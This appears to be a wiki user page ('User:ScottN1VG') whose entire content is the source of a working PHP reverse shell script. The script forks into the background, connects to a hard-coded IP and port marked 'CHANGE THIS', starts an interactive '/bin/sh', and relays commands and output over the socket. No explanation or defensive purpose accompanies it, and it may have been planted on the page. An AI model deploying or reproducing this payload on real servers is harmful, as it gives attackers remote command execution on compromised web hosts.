User:ScottN1VG

set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.31.237'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;

// // Daemonise ourself if possible to avoid zombies later //

// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork();

if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); }

if ($pid) { exit(0); // Parent exits }

// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }

$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }

// Change to a safe directory chdir("/");

// Remove any umask we inherited umask(0);

// // Do the reverse shell... //

// Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }

// Spawn shell process $descriptorspec = array(

  0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); }

// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }

// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }

// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }

// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }

// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }

fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);

// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } }